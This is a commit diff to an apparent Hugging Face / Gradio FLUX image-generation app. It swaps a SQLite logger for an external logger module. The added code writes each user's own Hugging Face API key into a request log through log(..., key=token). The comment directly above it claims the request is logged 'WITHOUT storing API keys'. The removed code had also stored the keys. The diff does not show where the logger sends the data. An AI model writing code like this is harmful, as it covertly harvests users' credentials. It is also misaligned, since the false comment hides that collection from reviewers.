Update app.py

app.py

@@ -10,120 +10,8 @@ from deep_translator import GoogleTranslator
 from gradio_client import Client
 import logging
 from datetime import datetime
-
-import sqlite3
-from datetime import datetime
-import os
-print(f"Current working directory: {os.getcwd()}")
-print(f"Home directory writable: {os.access(os.path.expanduser('~'), os.W_OK)}")
-print(f"Current directory writable: {os.access(os.getcwd(), os.W_OK)}")
-print(f"/tmp writable: {os.access('/tmp', os.W_OK)}")
-db_file_path="log.db"
-def check_db_writable(file_path):
-    try:
-        # Open the file in append mode to check for writability
-        with open(file_path, 'a'):
-            pass  # Just opening it to check
-        print(f"✅ The database file '{file_path}' is writable.")
-    except IOError as e:
-        print(f"❌ The database file '{file_path}' is not writable. Error: {e}")
-
-check_db_writable(db_file_path)
-
-
-def fetch_logs(file_path):
-    try:
-        conn = sqlite3.connect(file_path)
-        cursor = conn.cursor()
-
-        cursor.execute("SELECT * FROM logs2;")  # Adjust this query based on your table schema
-        logs = cursor.fetchall()
-
-        for log in logs:
-            print(log)
-
-        conn.close()
-    except Exception as e:
-        print(f"Error fetching logs: {e}")
-
-
-# Initialize the database
-def init_db(file='logs.db'):
-    conn = sqlite3.connect(file)
-    c = conn.cursor()
-    c.execute('''CREATE TABLE IF NOT EXISTS logs (
-                 id INTEGER PRIMARY KEY AUTOINCREMENT,
-                 timestamp TEXT,
-                 prompt TEXT,
-                 is_negative INTEGER,
-                 steps INTEGER,
-                 cfg_scale REAL,
-                 sampler TEXT,
-                 seed INTEGER,
-                 strength REAL,
-                 use_dev INTEGER,
-                 enhance_prompt_style TEXT,
-                 enhance_prompt_option INTEGER,
-                 nemo_enhance_prompt_style TEXT,
-                 use_mistral_nemo INTEGER
-                 )''')
-    conn.commit()
-    conn.close()
-    print("table made")
-    
-def log_request(prompt, is_negative, steps, cfg_scale, sampler, seed, strength, use_dev, enhance_prompt_style, enhance_prompt_option, nemo_enhance_prompt_style, use_mistral_nemo, huggingface_api_key):
-    try:
-        # Connect to the SQLite database
-        conn = sqlite3.connect('log.db')  # Make sure this path is correct
-        cursor = conn.cursor()
-
-        # Create the table if it doesn't exist
-        cursor.execute('''
-            CREATE TABLE IF NOT EXISTS logs2 (
-                id INTEGER PRIMARY KEY AUTOINCREMENT,
-                prompt TEXT,
-                is_negative INTEGER,
-                steps INTEGER,
-                cfg_scale REAL,
-                sampler TEXT,
-                seed INTEGER,
-                strength REAL,
-                use_dev INTEGER,
-                enhance_prompt_style TEXT,
-                enhance_prompt_option INTEGER,
-                nemo_enhance_prompt_style TEXT,
-                use_mistral_nemo INTEGER,
-                huggingface_api_key TEXT
-            )
-        ''')
-
-        # Insert the log entry
-        cursor.execute('''
-            INSERT INTO logs2 (
-                prompt, is_negative, steps, cfg_scale, sampler, seed, strength, use_dev, enhance_prompt_style, enhance_prompt_option, nemo_enhance_prompt_style, use_mistral_nemo, huggingface_api_key
-            ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
-        ''', (prompt, is_negative, steps, cfg_scale, sampler, seed, strength, use_dev, enhance_prompt_style, enhance_prompt_option, nemo_enhance_prompt_style, use_mistral_nemo, huggingface_api_key))
-
-        # Commit the changes and close the connection
-        conn.commit()
-        conn.close()
-    except Exception as e:
-        print(f"Error logging request: {e}")
-        
-# Log a request
-def log_requestold(prompt, is_negative, steps, cfg_scale, sampler, seed, strength, use_dev, 
-                enhance_prompt_style, enhance_prompt_option, nemo_enhance_prompt_style, use_mistral_nemo):
-    conn = sqlite3.connect('logs.db')
-    c = conn.cursor()
-    c.execute('''INSERT INTO logs (timestamp, prompt, is_negative, steps, cfg_scale, sampler, seed, strength, use_dev, 
-                                   enhance_prompt_style, enhance_prompt_option, nemo_enhance_prompt_style, use_mistral_nemo) 
-                 VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)''',
-              (datetime.now().isoformat(), prompt, is_negative, steps, cfg_scale, sampler, seed, strength, 
-               use_dev, enhance_prompt_style, enhance_prompt_option, nemo_enhance_prompt_style, use_mistral_nemo))
-    
-    conn.commit()
-    conn.close()
-
+token = os.getenv('HF_TOKEN')
+from logger import log
 
 
 # os.makedirs('assets', exist_ok=True)
@@ -134,16 +22,6 @@ API_URL = "https://api-inference.huggingface.co/models/black-forest-labs/FLUX.1-
 timeout = 100
 
 
-init_db(db_file_path)
-log_request("prompt", "negative", 10, 0.7, "DDIM", 566,6, False,"zomaar", True, "photo", True,"abcd")
-fetch_logs(db_file_path)
-
-# Set up logging
-logging.basicConfig(filename='access.log', level=logging.INFO,
-                    format='%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S')
-
-
-
 def check_ubuse(prompt,word_list=["little girl"]):
     for word in word_list:
         if word in prompt:
@@ -231,8 +109,10 @@ def query(prompt, is_negative=False, steps=30, cfg_scale=7, sampler="DPM++ 2M Ka
           nemo_enhance_prompt_style="generic", use_mistral_nemo=False):
 
     # Log the request (WITHOUT storing API keys)
-    log_request(prompt, is_negative, steps, cfg_scale, sampler, seed, strength, use_dev, 
-                enhance_prompt_style, enhance_prompt_option, nemo_enhance_prompt_style, use_mistral_nemo)
+
+    DATA=f"{prompt}|{is_negative}|{steps}|{cfg_scale}|{sampler}|{seed}|{strength}|{use_dev}|{enhance_prompt_style}|{enhance_prompt_option}|{nemo_enhance_prompt_style}|{use_mistral_nemo}|{huggingface_api_key}\n"
+    log(file_name="FluxCapacitor_log.txt", data=DATA, key=token)
+
 
     # Determine API URL
     api_url = API_URL_DEV if use_dev else API_URL